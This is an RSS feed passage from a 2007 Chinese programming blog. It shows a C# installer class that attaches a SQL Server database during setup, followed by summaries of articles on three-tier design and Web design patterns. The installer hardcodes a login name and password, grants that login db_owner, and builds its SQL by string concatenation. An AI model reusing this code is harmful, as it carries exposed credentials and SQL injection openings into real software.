				<span style="COLOR: #000000"> System.Data;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">using</span>
				<span style="COLOR: #000000"> System.Data.SqlClient;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top" /></span>
				<span style="COLOR: #0000ff">namespace</span>
				<span style="COLOR: #000000"> InstallDB<br /><img id="Codehighlighter1_182_2557_Open_Image" onclick="this.style.display='none'; Codehighlighter1_182_2557_Open_Text.style.display='none'; Codehighlighter1_182_2557_Closed_Image.style.display='inline'; Codehighlighter1_182_2557_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_182_2557_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_182_2557_Closed_Text.style.display='none'; Codehighlighter1_182_2557_Open_Image.style.display='inline'; Codehighlighter1_182_2557_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span>
				<span id="Codehighlighter1_182_2557_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
						<img src="http://www.cnblogs.com/Images/dot.gif" />
				</span>
				<span id="Codehighlighter1_182_2557_Open_Text">
						<span style="COLOR: #000000">{<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />    [RunInstaller(</span>
						<span style="COLOR: #0000ff">true</span>
						<span style="COLOR: #000000">)]<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span>
						<span style="COLOR: #0000ff">public</span>
						<span style="COLOR: #000000"> partial </span>
						<span style="COLOR: #0000ff">class</span>
						<span style="COLOR: #000000"> InstallerDB : Installer<br /><img id="Codehighlighter1_262_2555_Open_Image" onclick="this.style.display='none'; Codehighlighter1_262_2555_Open_Text.style.display='none'; Codehighlighter1_262_2555_Closed_Image.style.display='inline'; Codehighlighter1_262_2555_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_262_2555_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_262_2555_Closed_Text.style.display='none'; Codehighlighter1_262_2555_Open_Image.style.display='inline'; Codehighlighter1_262_2555_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span>
						<span id="Codehighlighter1_262_2555_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
								<img src="http://www.cnblogs.com/Images/dot.gif" />
						</span>
						<span id="Codehighlighter1_262_2555_Open_Text">
								<span style="COLOR: #000000">{<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> InstallerDB()<br /><img id="Codehighlighter1_301_346_Open_Image" onclick="this.style.display='none'; Codehighlighter1_301_346_Open_Text.style.display='none'; Codehighlighter1_301_346_Closed_Image.style.display='inline'; Codehighlighter1_301_346_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_301_346_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_301_346_Closed_Text.style.display='none'; Codehighlighter1_301_346_Open_Image.style.display='inline'; Codehighlighter1_301_346_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_301_346_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnblogs.com/Images/dot.gif" />
								</span>
								<span id="Codehighlighter1_301_346_Open_Text">
										<span style="COLOR: #000000">{<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            InitializeComponent();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">private</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">void</span>
								<span style="COLOR: #000000"> CreateDataBase(</span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> strSql, </span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> DataName, </span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> strMdf, </span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> strLdf,</span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> path,</span>
								<span style="COLOR: #0000ff">string</span>
								<span style="COLOR: #000000"> strSql1)<br /><img id="Codehighlighter1_481_1639_Open_Image" onclick="this.style.display='none'; Codehighlighter1_481_1639_Open_Text.style.display='none'; Codehighlighter1_481_1639_Closed_Image.style.display='inline'; Codehighlighter1_481_1639_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_481_1639_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_481_1639_Closed_Text.style.display='none'; Codehighlighter1_481_1639_Open_Image.style.display='inline'; Codehighlighter1_481_1639_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_481_1639_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnblogs.com/Images/dot.gif" />
								</span>
								<span id="Codehighlighter1_481_1639_Open_Text">
										<span style="COLOR: #000000">{<br /><img id="Codehighlighter1_495_879_Closed_Image" onclick="this.style.display='none'; Codehighlighter1_495_879_Closed_Text.style.display='none'; Codehighlighter1_495_879_Open_Image.style.display='inline'; Codehighlighter1_495_879_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" /><img id="Codehighlighter1_495_879_Open_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_495_879_Open_Text.style.display='none'; Codehighlighter1_495_879_Closed_Image.style.display='inline'; Codehighlighter1_495_879_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />            </span>
										<span id="Codehighlighter1_495_879_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">### 附加数据库</span>
										<span id="Codehighlighter1_495_879_Open_Text" style="DISPLAY: none">
												<span style="COLOR: #0000ff">#region</span>
												<span style="COLOR: #000000"> ### 附加数据库</span>
												<span style="COLOR: #000000">
														<br />
														<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            String str;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            SqlConnection myConn </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> SqlConnection(strSql);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            str </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">EXEC sp_attach_db @dbname = '</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> DataName </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">', @filename1 = '</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> strMdf </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">',@filename2='</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> strLdf </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">'</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            SqlCommand myCommand </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> SqlCommand(str, myConn);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            myConn.Open();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            myCommand.ExecuteNonQuery();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />            </span>
												<span style="COLOR: #0000ff">#endregion</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />
												<br />
												<img id="Codehighlighter1_894_1285_Closed_Image" onclick="this.style.display='none'; Codehighlighter1_894_1285_Closed_Text.style.display='none'; Codehighlighter1_894_1285_Open_Image.style.display='inline'; Codehighlighter1_894_1285_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />
												<img id="Codehighlighter1_894_1285_Open_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_894_1285_Open_Text.style.display='none'; Codehighlighter1_894_1285_Closed_Image.style.display='inline'; Codehighlighter1_894_1285_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />            </span>
										<span id="Codehighlighter1_894_1285_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">###新建数据库用户的登陆名和密码(登陆名：ys2006  密码：zhouhuan965)</span>
										<span id="Codehighlighter1_894_1285_Open_Text" style="DISPLAY: none">
												<span style="COLOR: #0000ff">#region</span>
												<span style="COLOR: #000000"> ###新建数据库用户的登陆名和密码(登陆名：ys2006  密码：zhouhuan965)</span>
												<span style="COLOR: #000000">
														<br />
														<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
												<span style="COLOR: #0000ff">string</span>
												<span style="COLOR: #000000"> str2 </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">exec sp_addlogin 'ys2006','zhouhuan965'</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">use </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> DataName </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">""</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">exec sp_adduser 'ys2006'</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">exec  sp_addrolemember  'db_owner','ys2006' </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            SqlCommand cmd2 </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> SqlCommand(str2, myConn);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            cmd2.ExecuteNonQuery();  <br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            myConn.Close();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />            </span>
												<span style="COLOR: #0000ff">#endregion</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />
												<br />
												<img id="Codehighlighter1_1300_1629_Closed_Image" onclick="this.style.display='none'; Codehighlighter1_1300_1629_Closed_Text.style.display='none'; Codehighlighter1_1300_1629_Open_Image.style.display='inline'; Codehighlighter1_1300_1629_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />
												<img id="Codehighlighter1_1300_1629_Open_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1300_1629_Open_Text.style.display='none'; Codehighlighter1_1300_1629_Closed_Image.style.display='inline'; Codehighlighter1_1300_1629_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" />            </span>
										<span id="Codehighlighter1_1300_1629_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">###把用户安装路径存入数据库</span>
										<span id="Codehighlighter1_1300_1629_Open_Text" style="DISPLAY: none">
												<span style="COLOR: #0000ff">#region</span>
												<span style="COLOR: #000000"> ###把用户安装路径存入数据库</span>
												<span style="COLOR: #000000">
														<br />
														<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            SqlConnection cn </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> SqlConnection(strSql1);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
												<span style="COLOR: #0000ff">string</span>
												<span style="COLOR: #000000"> str3 </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">insert into T_DataPath (DataPath) values('</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> path </span>
												<span style="COLOR: #000000">+</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">')</span>
												<span style="COLOR: #000000">"</span>
												<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            cn.Open();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            SqlCommand cmd3 </span>
												<span style="COLOR: #000000">=</span>
												<span style="COLOR: #000000"> </span>
												<span style="COLOR: #0000ff">new</span>
												<span style="COLOR: #000000"> SqlCommand(str3, cn);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            cmd3.ExecuteNonQuery();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            cn.Close();<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />            </span>
												<span style="COLOR: #0000ff">#endregion</span>
										</span>
										<span style="COLOR: #000000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span>
								<span style="COLOR: #0000ff">public</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">override</span>
								<span style="COLOR: #000000"> </span>
								<span style="COLOR: #0000ff">void</span>
								<span style="COLOR: #000000"> Install(System.Collections.IDictionary stateSaver)<br /><img id="Codehighlighter1_1729_2549_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1729_2549_Open_Text.style.display='none'; Codehighlighter1_1729_2549_Closed_Image.style.display='inline'; Codehighlighter1_1729_2549_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_1729_2549_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1729_2549_Closed_Text.style.display='none'; Codehighlighter1_1729_2549_Open_Image.style.display='inline'; Codehighlighter1_1729_2549_Open_Text.style.display='inline';" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span>
								<span id="Codehighlighter1_1729_2549_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">
										<img src="http://www.cnblogs.com/Images/dot.gif" />
								</span>
								<span id="Codehighlighter1_1729_2549_Open_Text">
										<span style="COLOR: #000000">{<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> server </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">.Context.Parameters[</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">server</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">];<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> uid </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">.Context.Parameters[</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">user</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">];<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> pwd </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">.Context.Parameters[</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">pwd</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">];<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> path </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">.Context.Parameters[</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">targetdir</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">];<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> strSql </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">server=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> server </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;uid=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> uid </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">; pwd=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> pwd </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;database=master</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> strSql1 </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">server=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> server </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;uid=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> uid </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">; pwd=</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> pwd </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;database=budgetSysDB</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> DataName </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">budgetSysDB</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">;<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> strMdf </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> path </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">\\budgetSysDB_Data.MDF</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">; </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">+ @"\" + "+budgetDB1.mdf+";</span>
										<span style="COLOR: #008000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />
										</span>
										<span style="COLOR: #000000">            </span>
										<span style="COLOR: #0000ff">string</span>
										<span style="COLOR: #000000"> strLdf </span>
										<span style="COLOR: #000000">=</span>
										<span style="COLOR: #000000"> path </span>
										<span style="COLOR: #000000">+</span>
										<span style="COLOR: #000000"> </span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">\\budgetSysDB_Log.LDF</span>
										<span style="COLOR: #000000">"</span>
										<span style="COLOR: #000000">; </span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">+@"\" + "+budgetDB1.ldf+";</span>
										<span style="COLOR: #008000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />
										</span>
										<span style="COLOR: #000000">            </span>
										<span style="COLOR: #0000ff">base</span>
										<span style="COLOR: #000000">.Install(stateSaver);<br /><img src="http://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span>
										<span style="COLOR: #0000ff">this</span>
										<span style="COLOR: #000000">.CreateDataBase(strSql, DataName, strMdf, strLdf,path,strSql1);</span>
										<span style="COLOR: #008000">//</span>
										<span style="COLOR: #008000">调用上面的方法</span>
										<span style="COLOR: #008000">
												<br />
												<img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />
										</span>
										<span style="COLOR: #000000">        }</span>
								</span>
								<span style="COLOR: #000000">
										<br />
										<img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span>
						</span>
						<span style="COLOR: #000000">
								<br />
								<img src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span>
				</span>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/22018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 12:47 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>经典的三层设计</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22017.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 04:45:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22017.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22017.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22017.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22017.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22017.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 经典的三层设计								  三层的划分:        目的：高内聚，低耦合，为更好的实现分布式开发和维护。        用户界面层: 页面,用户控件,图片，样式表        业务逻辑层:业务接口( BusinessInterface ), 业务实体( BusinessEntity),业务逻辑(BusinessLogic)        数据访问层: 数据实现(DataAc...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2007/01/18/22017.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/22017.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 12:45 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22017.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>领悟Web设计模式</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22016.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 03:34:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22016.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22016.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22016.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22016.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22016.html</trackback:ping><description><![CDATA[
		<div>
				<div class="text4">领悟Web设计模式</div>
				<div class="text4">本文发表在《程序春秋》2004年1期</div>
				<div class="text4">摘要</div>
				<div class="text4">本文介绍了在.NET框架下应用Web设计模式改进WebForm程序设计的一些基本方法及要点。</div>
				<div class="text4">
				</div>
				<div class="text4">关键字</div>
				<div class="text4">设计模式，ASP.NET，WebForm，MVC，Page Controller，Front Controller，Page Cache</div>
				<div class="text4">
